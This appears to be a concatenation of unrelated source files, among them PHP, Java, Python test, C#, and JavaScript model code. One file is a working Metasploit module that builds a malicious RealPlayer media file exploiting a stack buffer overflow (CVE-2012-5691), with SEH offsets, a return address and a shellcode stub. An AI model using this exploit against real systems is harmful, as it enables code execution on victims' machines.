    <link rel="stylesheet" href="vendors/morris/morris.css">


text:
<?php

namespace Elcodi\Component\User\EventDispatcher;

use Elcodi\Component\Core\EventDispatcher\Abstracts\AbstractEventDispatcher;
use Elcodi\Component\User\ElcodiUserEvents;
use Elcodi\Component\User\Entity\Interfaces\AbstractUserInterface;
use Elcodi\Component\User\Entity\Interfaces\AdminUserInterface;
use Elcodi\Component\User\Entity\Interfaces\CustomerInterface;
use Elcodi\Component\User\Event\AdminUserRegisterEvent;
use Elcodi\Component\User\Event\CustomerRegisterEvent;
use Elcodi\Component\User\Event\UserRegisterEvent;
use Elcodi\Component\User\EventDispatcher\Interfaces\UserEventDispatcherInterface;

/**
 * Class UserEventDispatcher.
 */
class UserEventDispatcher extends AbstractEventDispatcher implements UserEventDispatcherInterface
{
    /**
     * Dispatch user created event.
     *
     * @param AbstractUserInterface $user User registered
     *
     * @return $this Self object
     */
    public function dispatchOnUserRegisteredEvent(AbstractUserInterface $user)
    {
        $event = new UserRegisterEvent($user);
        $this
            ->eventDispatcher
            ->dispatch(
                ElcodiUserEvents::ABSTRACTUSER_REGISTER,
                $event
            );

        return $this;
    }

    /**
     * Dispatch customer created event.
     *
     * @param CustomerInterface $customer Customer registered
     *
     * @return $this Self object
     */
    public function dispatchOnCustomerRegisteredEvent(CustomerInterface $customer)
    {
        $event = new CustomerRegisterEvent($customer);
        $this
            ->eventDispatcher
            ->dispatch(
                ElcodiUserEvents::CUSTOMER_REGISTER,
                $event
            );

        return $this;
    }

    /**
     * Dispatch admin user created event.
     *
     * @param AdminUserInterface $adminUser AdminUser registered
     *
     * @return $this Self object
     */
    public function dispatchOnAdminUserRegisteredEvent(AdminUserInterface $adminUser)
    {
        $event = new AdminUserRegisterEvent($adminUser);
        $this
            ->eventDispatcher
            ->dispatch(
                ElcodiUserEvents::ADMINUSER_REGISTER,
                $event
            );

        return $this;
    }
}


text:
package org.apache.poi.poifs.crypt.cryptoapi;

import org.apache.poi.poifs.crypt.ChainingMode;
import org.apache.poi.poifs.crypt.CipherAlgorithm;
import org.apache.poi.poifs.crypt.HashAlgorithm;
import org.apache.poi.poifs.crypt.standard.StandardEncryptionVerifier;
import org.apache.poi.util.LittleEndianInput;

public class CryptoAPIEncryptionVerifier extends StandardEncryptionVerifier implements Cloneable {

    protected CryptoAPIEncryptionVerifier(LittleEndianInput is,
            CryptoAPIEncryptionHeader header) {
        super(is, header);
    }

    protected CryptoAPIEncryptionVerifier(CipherAlgorithm cipherAlgorithm,
            HashAlgorithm hashAlgorithm, int keyBits, int blockSize,
            ChainingMode chainingMode) {
        super(cipherAlgorithm, hashAlgorithm, keyBits, blockSize, chainingMode);
    }

    @Override
    protected void setSalt(byte salt[]) {
        super.setSalt(salt);
    }

    @Override
    protected void setEncryptedVerifier(byte encryptedVerifier[]) {
        super.setEncryptedVerifier(encryptedVerifier);
    }

    @Override
    protected void setEncryptedVerifierHash(byte encryptedVerifierHash[]) {
        super.setEncryptedVerifierHash(encryptedVerifierHash);
    }

    @Override
    public CryptoAPIEncryptionVerifier clone() throws CloneNotSupportedException {
        return (CryptoAPIEncryptionVerifier)super.clone();
    }
}


text:
"""Tests for lstm_object_detection.lstm.utils."""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import tensorflow as tf
from lstm_object_detection.lstm import utils

class QuantizableUtilsTest(tf.test.TestCase):

  def test_quantizable_concat_is_training(self):
    inputs_1 = tf.zeros([4, 10, 10, 1], dtype=tf.float32)
    inputs_2 = tf.ones([4, 10, 10, 2], dtype=tf.float32)
    concat_in_train = utils.quantizable_concat([inputs_1, inputs_2],
                                               axis=3,
                                               is_training=True)
    self.assertAllEqual([4, 10, 10, 3], concat_in_train.shape.as_list())
    self._check_min_max_ema(tf.get_default_graph())
    self._check_min_max_vars(tf.get_default_graph())

  def test_quantizable_concat_inference(self):
    inputs_1 = tf.zeros([4, 10, 10, 1], dtype=tf.float32)
    inputs_2 = tf.ones([4, 10, 10, 2], dtype=tf.float32)
    concat_in_train = utils.quantizable_concat([inputs_1, inputs_2],
                                               axis=3,
                                               is_training=False)
    self.assertAllEqual([4, 10, 10, 3], concat_in_train.shape.as_list())
    self._check_no_min_max_ema(tf.get_default_graph())
    self._check_min_max_vars(tf.get_default_graph())

  def test_quantizable_concat_not_quantized_is_training(self):
    inputs_1 = tf.zeros([4, 10, 10, 1], dtype=tf.float32)
    inputs_2 = tf.ones([4, 10, 10, 2], dtype=tf.float32)
    concat_in_train = utils.quantizable_concat([inputs_1, inputs_2],
                                               axis=3,
                                               is_training=True,
                                               is_quantized=False)
    self.assertAllEqual([4, 10, 10, 3], concat_in_train.shape.as_list())
    self._check_no_min_max_ema(tf.get_default_graph())
    self._check_no_min_max_vars(tf.get_default_graph())

  def test_quantizable_concat_not_quantized_inference(self):
    inputs_1 = tf.zeros([4, 10, 10, 1], dtype=tf.float32)
    inputs_2 = tf.ones([4, 10, 10, 2], dtype=tf.float32)
    concat_in_train = utils.quantizable_concat([inputs_1, inputs_2],
                                               axis=3,
                                               is_training=False,
                                               is_quantized=False)
    self.assertAllEqual([4, 10, 10, 3], concat_in_train.shape.as_list())
    self._check_no_min_max_ema(tf.get_default_graph())
    self._check_no_min_max_vars(tf.get_default_graph())

  def test_quantize_op_is_training(self):
    inputs = tf.zeros([4, 10, 10, 128], dtype=tf.float32)
    outputs = utils.quantize_op(inputs)
    self.assertAllEqual(inputs.shape.as_list(), outputs.shape.as_list())
    self._check_min_max_ema(tf.get_default_graph())
    self._check_min_max_vars(tf.get_default_graph())

  def test_quantize_op_inferene(self):
    inputs = tf.zeros([4, 10, 10, 128], dtype=tf.float32)
    outputs = utils.quantize_op(inputs, is_training=False)
    self.assertAllEqual(inputs.shape.as_list(), outputs.shape.as_list())
    self._check_no_min_max_ema(tf.get_default_graph())
    self._check_min_max_vars(tf.get_default_graph())

  def _check_min_max_vars(self, graph):
    op_types = [op.type for op in graph.get_operations()]
    self.assertTrue(
        any('FakeQuantWithMinMaxVars' in op_type for op_type in op_types))

  def _check_min_max_ema(self, graph):
    op_names = [op.name for op in graph.get_operations()]
    self.assertTrue(any('AssignMinEma' in name for name in op_names))
    self.assertTrue(any('AssignMaxEma' in name for name in op_names))
    self.assertTrue(any('SafeQuantRangeMin' in name for name in op_names))
    self.assertTrue(any('SafeQuantRangeMax' in name for name in op_names))

  def _check_no_min_max_vars(self, graph):
    op_types = [op.type for op in graph.get_operations()]
    self.assertFalse(
        any('FakeQuantWithMinMaxVars' in op_type for op_type in op_types))

  def _check_no_min_max_ema(self, graph):
    op_names = [op.name for op in graph.get_operations()]
    self.assertFalse(any('AssignMinEma' in name for name in op_names))
    self.assertFalse(any('AssignMaxEma' in name for name in op_names))
    self.assertFalse(any('SafeQuantRangeMin' in name for name in op_names))
    self.assertFalse(any('SafeQuantRangeMax' in name for name in op_names))

class QuantizableSeparableConv2dTest(tf.test.TestCase):

  def test_quantizable_separable_conv2d(self):
    inputs = tf.zeros([4, 10, 10, 128], dtype=tf.float32)
    num_outputs = 64
    kernel_size = [3, 3]
    scope = 'QuantSeparable'
    outputs = utils.quantizable_separable_conv2d(
        inputs, num_outputs, kernel_size, scope=scope)
    self.assertAllEqual([4, 10, 10, num_outputs], outputs.shape.as_list())
    self._check_depthwise_bias_add(tf.get_default_graph(), scope)

  def test_quantizable_separable_conv2d_not_quantized(self):
    inputs = tf.zeros([4, 10, 10, 128], dtype=tf.float32)
    num_outputs = 64
    kernel_size = [3, 3]
    scope = 'QuantSeparable'
    outputs = utils.quantizable_separable_conv2d(
        inputs, num_outputs, kernel_size, is_quantized=False, scope=scope)
    self.assertAllEqual([4, 10, 10, num_outputs], outputs.shape.as_list())
    self._check_no_depthwise_bias_add(tf.get_default_graph(), scope)

  def _check_depthwise_bias_add(self, graph, scope):
    op_names = [op.name for op in graph.get_operations()]
    self.assertTrue(
        any('%s_bias/BiasAdd' % scope in name for name in op_names))

  def _check_no_depthwise_bias_add(self, graph, scope):
    op_names = [op.name for op in graph.get_operations()]
    self.assertFalse(
        any('%s_bias/BiasAdd' % scope in name for name in op_names))

if __name__ == '__main__':
  tf.test.main()


text:
using System;
using System.Xml.Serialization;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;

using Gdk;
using System.Threading;

namespace Backend
{
	/// <summary>
	/// A class managing analog pins.
	/// </summary>
	[Serializable]
	public class APin : IPin, ISerializable
	{
		#region Member

		/// <summary>
		/// Gets or sets the type.
		/// </summary>
		/// <value>The type.</value>
		public Backend.PinType Type { get; set; }

		/// <summary>
		/// Gets or sets the mode.
		/// </summary>
		/// <value>The mode.</value>
		public Backend.PinMode Mode { get; set; }

		/// <summary>
		/// Gets or sets the name.
		/// </summary>
		/// <value>The name.</value>
		public string Name { get; set; }

		/// <summary>
		/// Gets or sets the display name. (Name + DisplayNumber)
		/// </summary>
		/// <value>The display name.</value>
		public string DisplayName { get { return string.Format ("{0} ({1})", Name, DisplayNumber); } set { } }

		/// <summary>
		/// Gets or sets the display number. (Ax | Dx) or (Ax)
		/// </summary>
		/// <value>The display number.</value>
		public string DisplayNumber { get { return string.Format ("A{0} | D{1}", Number.ToString ().PadLeft (2, ' '), DigitalNumber); } set { } }

		/// <summary>
		/// Gets or sets the display number short. (Ax)
		/// </summary>
		/// <value>The display number short.</value>
		public string DisplayNumberShort { get { return string.Format ("A{0}", Number.ToString ().PadLeft (2, ' ')); } set { } }

		/// <summary>
		/// Gets or sets the unit.
		/// </summary>
		/// <value>The unit.</value>
		public string Unit { get; set; }

		/// <summary>
		/// Gets or sets the number.
		/// this represents the hardware pin number under concideration of the pin type (e.g. Arduino UNO D14 = A0)
		/// </summary>
		/// <value>The number.</value>
		public uint Number{ get; set; }

		/// <summary>
		/// Gets or sets the real number.
		/// This represents the 'real' hardware pin number with out concideration of the pin type. (eg. Arduino UNO D0 = 0, A0 = 14)
		/// </summary>
		/// <value>The real number.</value>
		public uint RealNumber { get { return DigitalNumber; } set { } }

		/// <summary>
		/// Gets or sets the digital number.
		/// This is the same as the RealNumber.
		/// </summary>
		/// <value>The digital number.</value>
		public uint DigitalNumber { get; set; }

		/// <summary>
		/// Gets or sets a value indicating whether this <see cref="PrototypeBackend.APin"/> is SDA enabled.
		/// </summary>
		/// <value><c>true</c> if SDA enabled; otherwise, <c>false</c>.</value>
		public bool SDA { get ; set ; }

		/// <summary>
		/// Gets or sets a value indicating whether this <see cref="PrototypeBackend.APin"/> is SCL enabled.
		/// </summary>
		/// <value><c>true</c> if SCL enabled; otherwise, <c>false</c>.</value>
		public bool SCL { get; set; }

		/// <summary>
		/// Gets or sets a value indicating whether this <see cref="PrototypeBackend.APin"/> is RX enabled.
		/// </summary>
		/// <value><c>true</c> if RX enabled; otherwise, <c>false</c>.</value>
		public bool RX { get; set; }

		/// <summary>
		/// Gets or sets a value indicating whether this <see cref="PrototypeBackend.APin"/> is TX enabled.
		/// </summary>
		/// <value><c>true</c> if TX enabled; otherwise, <c>false</c>.</value>
		public bool TX { get; set; }

		/// <summary>
		/// Gets or sets the color of the pin values in the plot and elsewhere.
		/// </summary>
		/// <value>The color of the pin.</value>
		public Gdk.Color PlotColor { get; set; }

		/// <summary>
		/// Gets or sets the slope.
		/// This is used for linear conversion ( Values = RAWValue * Slope + Offset )
		/// </summary>
		/// <value>The slope.</value>
		public double Slope{ get; set; }

		/// <summary>
		/// Gets or sets the offset.
		/// This is used for linear conversion ( Values = RAWValue * Slope + Offset )
		/// </summary>
		/// <value>The offset.</value>
		public double Offset{ get; set; }

		/// <summary>
		/// Gets the values (raw).
		/// </summary>
		/// <value>The values.</value>
		public List<DateTimeValue> Values{ get; private set; }

		/// <summary>
		/// Gets the last time a value was added in milliseconds dependent on de KeeperOfTime of the controller.
		/// </summary>
		/// <value>The last time a value was added in milliseconds.</value>
		public double LastValue { get; set; }

		/// <summary>
		/// Gets the RAW values.
		/// </summary>
		/// <value>The RAW values.</value>
		public List<DateTimeValue> RAWValues { get; private set; }

		/// <summary>
		/// Set: Adds a new value to the list of values.
		///	Get: Returns the last value converted acording to the offset slope and relative voltage.
		/// </summary>
		/// <value>The value.</value>
		public DateTimeValue Value {
			set {
				AddRawValue (value);
				double val = CalcValue ();
				if (!double.IsNaN (val))
				{
					Values.Add (new DateTimeValue (CalcValue (), value.Time));
//					if (Values.Count > 1000) {
//						Values.RemoveRange (0, Values.Count - 1000);
//					}

					if (OnNewValue != null)
					{
						DateTime time = DateTime.FromOADate (value.Time);
						OnNewValue.BeginInvoke (this, new NewMeasurementValueArgs () {
							RAW = value.Value,
							Value = val,
							Time = time
						}, null, null);
//						OnNewValue.BeginInvoke (this, new NewMeasurementValueArgs () {
//							RAW = value.Value,
//							Value = val,
//							Time = time
//						});
					}
				}
			}

			get {
				if (Values.Count > 0)
				{
					return new DateTimeValue (Values.Last ());
				} else
				{
					return new DateTimeValue (double.NaN, DateTime.Now);
				}
			}
		}

		/// <summary>
		/// Gets or sets the interval.
		/// The Number of samlpes to build a mean value from.
		/// </summary>
		/// <value>The interval.</value>
		public int MeanValuesCount { get; set; }

		/// <summary>
		/// Gets or sets the interval in milliseconds.
		/// </summary>
		/// <value>The interval in ms.</value>
		public int Interval { get; set; }

		/// <summary>
		/// Gets the frequency in milliseconds.
		/// </summary>
		/// <value>The frequency in ms.</value>
		public int Frequency { get { return 1 / Interval; } private set { } }

		/// <summary>
		/// Gets the effective interval (<paramref name="Interval"/> * <paramref name="MeanValuesCount"/>).
		/// </summary>
		/// <value>The effective interval.</value>
		public double EffectiveInterval { get { return Interval * MeanValuesCount; } private set { } }

		#endregion

		#region Events

		/// <summary>
		/// Is invoked, if new value is added
		/// </summary>
		[NonSerialized]
		public EventHandler<NewMeasurementValueArgs> OnNewValue;
		/// <summary>
		/// Is invoked, if new value is added
		/// </summary>
		[NonSerialized]
		public EventHandler<NewMeasurementValueArgs> OnNewRAWValue;

		#endregion

		#region Methods

		/// <summary>
		/// Initializes a new instance of the <see cref="PrototypeBackend.APin"/> class.
		/// </summary>
		public APin ()
		{
			Type = Backend.PinType.ANALOG;
			Mode = Backend.PinMode.INPUT;
			Name = "";
			Number = 0;
			PlotColor = new Gdk.Color (0, 0, 0);
			Slope = 1;
			Offset = 0;
			MeanValuesCount = 1;
			Interval = 1000;
			Values = new List<DateTimeValue> ();
			RAWValues = new List<DateTimeValue> ();
			Unit = "V";
			OnNewValue = null;
			OnNewRAWValue = null;
		}

		/// <summary>
		/// Initializes a new instance of the <see cref="PrototypeBackend.APin"/> class.
		/// </summary>
		/// <param name="copy">Copy.</param>
		public APin (APin copy) : base ()
		{

			Name = copy.Name;
			Number = copy.Number;
			DigitalNumber = copy.DigitalNumber;
			PlotColor = copy.PlotColor;
			Slope = copy.Slope;
			Offset = copy.Offset;
			MeanValuesCount = copy.MeanValuesCount;
			Interval = copy.Interval;
			Unit = copy.Unit;
			Type = Backend.PinType.ANALOG;
			Mode = Backend.PinMode.INPUT;
			Values = copy.Values;
			RAWValues = copy.RAWValues;
			OnNewValue = copy.OnNewValue;
			OnNewRAWValue = copy.OnNewRAWValue;
		}

		/// <summary>
		/// Determines whether the specified <see cref="System.Object"/> is equal to the current <see cref="PrototypeBackend.APin"/>.
		/// </summary>
		/// <param name="obj">The <see cref="System.Object"/> to compare with the current <see cref="PrototypeBackend.APin"/>.</param>
		/// <returns><c>true</c> if the specified <see cref="System.Object"/> is equal to the current
		/// <see cref="PrototypeBackend.APin"/>; otherwise, <c>false</c>.</returns>
		public override bool Equals (object obj)
		{
			if (obj != null)
			{
				if (obj is APin)
				{
					return (obj as APin).Type == Type &&
					(obj as APin).Mode == Mode &&
					(obj as APin).Name.Equals (Name) &&
					(obj as APin).Unit == this.Unit &&
					(obj as APin).Number.Equals (Number) &&
					(obj as APin).PlotColor.Equals (PlotColor);
				}
			}
			return false;
		}

		/// <summary>
		/// Serves as a hash function for a <see cref="PrototypeBackend.APin"/> object.
		/// </summary>
		/// <returns>A hash code for this instance that is suitable for use in hashing algorithms and data structures such as a hash table.</returns>
		public override int GetHashCode ()
		{
			return base.GetHashCode ();
		}

		/// <summary>
		/// Returns a <see cref="System.String"/> that represents the current <see cref="PrototypeBackend.APin"/>.
		/// </summary>
		/// <returns>A <see cref="System.String"/> that represents the current <see cref="PrototypeBackend.APin"/>.</returns>
		public override string ToString ()
		{
			return String.Format ("Name: {0}\tNumber: {1}\tPinType: {2}\tUnit: {3}", Name, Number, Type, Unit);
		}

		/// <summary>
		/// Calculates the measured value under concideration of offset, slope and mean values.
		/// </summary>
		/// <returns>The value.</returns>
		public double CalcValue ()
		{
			if (RAWValues.Count >= MeanValuesCount)
			{
				if (MeanValuesCount == 1)
				{
					if (!double.IsNaN (RAWValues.Last ().Value))
					{
						return TranslateRAW (RAWValues.Last ().Value);
					}
					return double.NaN;
				} else
				{
					if (RAWValues.Count % MeanValuesCount == 0)
					{
						double result = 0;
						result = RAWValues.GetRange (RAWValues.Count - MeanValuesCount, MeanValuesCount).Sum (o => TranslateRAW (o.Value));
						return result / MeanValuesCount;
					} else
					{
						return double.NaN;
					}
				}
			} else
			{
				return double.NaN;
			}
		}

		private double TranslateRAW (double raw)
		{
			return (raw * Slope) + Offset;
		}

		private void AddRawValue (DateTimeValue value)
		{
			RAWValues.Add (value);
			if (OnNewRAWValue != null)
			{
				OnNewRAWValue.Invoke (
					this,
					new NewMeasurementValueArgs () {
						RAW = value.Value,
						Value = value.Value,
						Time = DateTime.FromOADate (value.Time)
					}
				);
			}
		}

		#endregion

		#region ISerializable implementation

		/// <summary>
		/// Gets the object data.
		/// </summary>
		/// <param name="info">Info.</param>
		/// <param name="context">Context.</param>
		public void GetObjectData (SerializationInfo info, StreamingContext context)
		{
			info.AddValue ("Type", Type);
			info.AddValue ("Mode", Mode);
			info.AddValue ("Name", Name);
			info.AddValue ("Unit", Unit);
			info.AddValue ("Number", Number);
			info.AddValue ("DigitalNumber", DigitalNumber);
			info.AddValue ("SDA", SDA);
			info.AddValue ("SCL", SCL);
			info.AddValue ("RX", RX);
			info.AddValue ("TX", TX);
			info.AddValue ("RED", uintToByte (PlotColor.Red));
			info.AddValue ("GREEN", uintToByte (PlotColor.Green));
			info.AddValue ("BLUE", uintToByte (PlotColor.Blue));
			info.AddValue ("Slope", Slope);
			info.AddValue ("Offset", Offset);
			info.AddValue ("Interval", MeanValuesCount);
			info.AddValue ("Period", Interval);
		}

		/// <summary>
		/// Initializes a new instance of the <see cref="PrototypeBackend.APin"/> class.
		/// </summary>
		/// <param name="info">Info.</param>
		/// <param name="context">Context.</param>
		public APin (SerializationInfo info, StreamingContext context) : base ()
		{
			Type = (PinType)info.GetByte ("Type");
			Mode = (PinMode)info.GetByte ("Mode");
			Name = info.GetString ("Name");
			Unit = info.GetString ("Unit");
			Number = info.GetUInt32 ("Number");
			DigitalNumber = info.GetUInt32 ("DigitalNumber");
			SDA = info.GetBoolean ("SDA");
			SCL = info.GetBoolean ("SCL");
			RX = info.GetBoolean ("RX");
			TX = info.GetBoolean ("TX");
			PlotColor = new Gdk.Color (info.GetByte ("RED"), info.GetByte ("GREEN"), info.GetByte ("BLUE"));
			Slope = info.GetDouble ("Slope");
			Offset = info.GetDouble ("Offset");
			MeanValuesCount = info.GetInt32 ("Interval");
			Interval = info.GetInt32 ("Period");

			Values = new List<DateTimeValue> ();
			RAWValues = new List<DateTimeValue> ();
		}

		#endregion

		/// <summary>
		/// Uints to byte.
		/// This method is used to parse colors form one framework to another.
		/// </summary>
		/// <returns>The to byte.</returns>
		/// <param name="val">Value.</param>
		public static byte uintToByte (uint val)
		{
			return (byte)(byte.MaxValue / 65535.0 * val);
		}
	}
}


text:
'use strict';

/**
 * Module dependencies.
 */
var mongoose = require('mongoose'),
	Schema = mongoose.Schema;

/**
 * Faq Schema
 */
var FaqSchema = new Schema({
	name: {
		type: String,
		default: '',
		required: 'Please fill Faq name',
		trim: true
	},
	content:{
		type : String,
		default : '',
		required : 'Please fill News content',
		trim: true
	},
	created: {
		type: Date,
		default: Date.now
	},
	user: {
		type: Schema.ObjectId,
		ref: 'User'
	}
});

mongoose.model('Faq', FaqSchema);


text:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealPlayer RealMedia File Handling Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
				The vulnerability exists in the handling of real media files, due to the insecure
				usage of the GetPrivateProfileString function to retrieve the URL property from an
				InternetShortcut section.

				This module generates a malicious rm file which must be opened with RealPlayer via
				drag and drop or double click methods. It has been tested successfully on Windows
				XP SP3 with RealPlayer 15.0.5.109.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-5691' ],
					[ 'OSVDB', '88486' ],
					[ 'BID', '56956' ],
					[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars'    => "\x00\x0a\x0d",
					'DisableNops' => true,
					'Space'       => 2000
				},
			'Targets'        =>
				[
					[ 'Windows XP SP3 / Real Player 15.0.5.109',
						{
							'Ret'       => 0x63f2b4b5, # ppr from rpap3260.dll
							'OffsetOne' => 2312, # Open via double click
							'OffsetTwo' => 2964 # Open via drag and drop
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 14 2012',
			'DefaultTarget'  => 0))

		register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

	end

	def exploit

		buffer = payload.encoded
		buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
		buffer << generate_seh_record(target.ret)
		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
		buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
		buffer << generate_seh_record(target.ret)
		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
		buffer << rand_text(7000) # Generate exception

		content = "[InternetShortcut]\nURL="
		filecontent = content+buffer

		file_create(filecontent)

	end
end


text:
'use strict'

const {STRING, TEXT} = require('sequelize')

module.exports = db => db.define('author', {
  firstName: {
    type: STRING,
    validate: {
      notEmpty: true
    }
  },
  lastName: {
    type: STRING,
    validate: {
      notEmpty: true
    }
  },
  bio: {
    type: TEXT
  }
}, {
  classMethods: {
    findByLastName: function(lastName) {
      return this.findAll({
        where: {
          lastName
        }
      })
    }
  }
})
// Edited for seeding purposes, join table created manually
module.exports.associations = (Author, {Book}) => {
  Author.belongsToMany(Book, { through: 'AuthorsBooks' })
}